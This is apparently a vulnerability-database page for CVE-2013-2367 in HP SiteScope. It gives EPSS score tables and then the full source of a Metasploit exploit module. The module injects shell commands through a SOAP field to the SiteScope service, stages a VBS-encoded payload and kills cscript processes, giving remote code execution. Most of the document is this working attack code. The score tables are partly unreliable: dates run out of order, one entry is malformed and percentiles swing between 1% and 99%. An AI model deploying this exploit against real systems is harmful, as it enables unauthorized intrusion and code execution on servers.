CVE-2013-2367 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	84.58%	–	–
2022-07-03	–	–	85.87%	–	–
2023-03-12	–	–	–	97.15%	–
2023-04-30	–	–	–	96.94%	–
2023-06-18	–	–	–	97.03%	–
2023-07-30	–	–	–	95.95%	–
2023-09-17	–	–	–	95.21%	–
2023-11-05	–	–	–	96.78%	–
2023-12-24	–	–	–	96.79%	–
2024-02-11	–	–	–	94.35%	–
2024-03-17	–	–	–	94.31%	–
2024-03-31	–	–	–	94.56%	–
2024-04-14	–	–	–	94.95%	–
2024-06-02	–	–	–	94.79%	–
2024-06-23	–	–	–	94.63%	–
2024-08-11	–	–	–	94.46%	–
2024-09-22	–	–	–	96.29%	–
2024-10-27	–	–	–	96.48%	–
2024-12-22	–	–	–	96.96%	–
2024-12-29	–	–	–	96.5%	–
2025-03-02	–	–	–	96.83%	–
2025-01-19	–	–	–	96.5%	–
2025-03-09	–	–	–	96.83%	–
2025-03-18	–	–	–	–	82.09%
2025-03-18	–	–	–	–	82.09,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2022-07-03	1%
2023-03-12	1%
2023-04-30	1%
2023-06-18	1%
2023-07-30	99%
2023-09-17	99%
2023-11-05	1%
2023-12-24	1%
2024-02-11	99%
2024-03-17	99%
2024-03-31	99%
2024-04-14	99%
2024-06-02	99%
2024-06-23	99%
2024-08-11	99%
2024-09-22	1%
2024-10-27	1%
2024-12-22	1%
2024-12-29	1%
2025-03-02	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	99%
2025-03-18	99%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS def initialize(info = {}) super(update_info(info, 'Name' => 'HP SiteScope Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in HP SiteScope. The vulnerability exists on the opcactivate.vbs script, which is reachable from the APIBSMIntegrationImpl AXIS service, and uses WScript.Shell.run() to execute cmd.exe with user provided data. Note which the opcactivate.vbs component is installed with the (optional) HP Operations Agent component. The module has been tested successfully on HP SiteScope 11.20 (with HP Operations Agent) over Windows 2003 SP2. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2367'], [ 'OSVDB', '95824' ], [ 'BID', '61506' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-205/' ] ], 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ [ 'HP SiteScope 11.20 (with Operations Agent) / Windows 2003 SP2', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'DECODERSTUB' => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64_noquot") }, 'DisclosureDate' => 'Jul 29 2013')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/']) ], self.class) end def uri uri = normalize_uri(target_uri.path) uri << '/' if uri[-1,1] != '/' return uri end def check op = rand_text_alpha(8 + rand(10)) key = rand_text_alpha(8 + rand(10)) value = rand_text_alpha(8 + rand(10)) res = send_soap_request(op, key, value) if res and res.code == 200 and res.body =~ /runOMAgentCommandResponse/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Delivering payload...") # The path to the injection is something like: # * Java exec => cscript => WScript.Shell => cmd.exe (injection happens) # Empirically has been tested a 1500 value for :linemax makes it work # reliable execute_cmdstager({:linemax => 1500}) end def get_vbs_string(str) vbs_str = "" str.each_byte { |b| vbs_str << "Chr(#{b})+" } return vbs_str.chomp("+") end # Make the modifications required to the specific encoder # This exploit uses an specific encoder because quotes (") # aren't allowed when injecting commands def execute_cmdstager_begin(opts) var_decoded = @stager_instance.instance_variable_get(:@var_decoded) var_encoded = @stager_instance.instance_variable_get(:@var_encoded) decoded_file = "#{var_decoded}.exe" encoded_file = "#{var_encoded}.b64" @cmd_list.each { |command| # Because the exploit kills cscript processes to speed up and reliability command.gsub!(/cscript \/\/nologo/, "wscript //nologo") command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file)) command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file)) } end def execute_command(cmd, opts={}) # HTML Encode '&' character # taskkill allows to kill the cscript process which is triggering the # different operations performed by the OPACTIVATE command. It speeds # up exploitation and improves reliability (some processes launched can die # due to the fake activation). But this line also will kill other cscript # legit processes which could be running on the target host. Because of it # the exploit has a Manual ranking command = ""127.0.0.1 && " command << cmd.gsub(/&/, "&") command << " && taskkill /F /IM cscript.exe "" res = send_soap_request("OPCACTIVATE", "omHost", command) if res.nil? or res.code != 200 or res.body !~ /runOMAgentCommandResponse/ fail_with(Failure::Unknown, "#{@peer} - Unexpected response, aborting...") end end def send_soap_request(op, key, value) data = "<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" " data << "xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:api=\"http://Api.freshtech.COM\">" data << "<soapenv:Header/>" data << "<soapenv:Body>" data << "<api:runOMAgentCommand soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" data << "<in0 xsi:type=\"x-:Map\" xmlns:x-=\"http://xml.apache.org/xml-soap\">" data << "<item xsi:type=\"x-:mapItem\">" data << "<key xsi:type=\"xsd:string\">#{key}</key>" data << "<value xsi:type=\"xsd:string\">#{value}</value>" data << "</item>" data << "</in0>" data << "<in1 xsi:type=\"xsd:string\">#{op}</in1>" data << "</api:runOMAgentCommand>" data << "</soapenv:Body>" data << "</soapenv:Envelope>" res = send_request_cgi({ 'uri' => normalize_uri(uri, 'services', 'APIBSMIntegrationImpl'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => data, 'headers' => { 'SOAPAction' => '""' } }) return res end end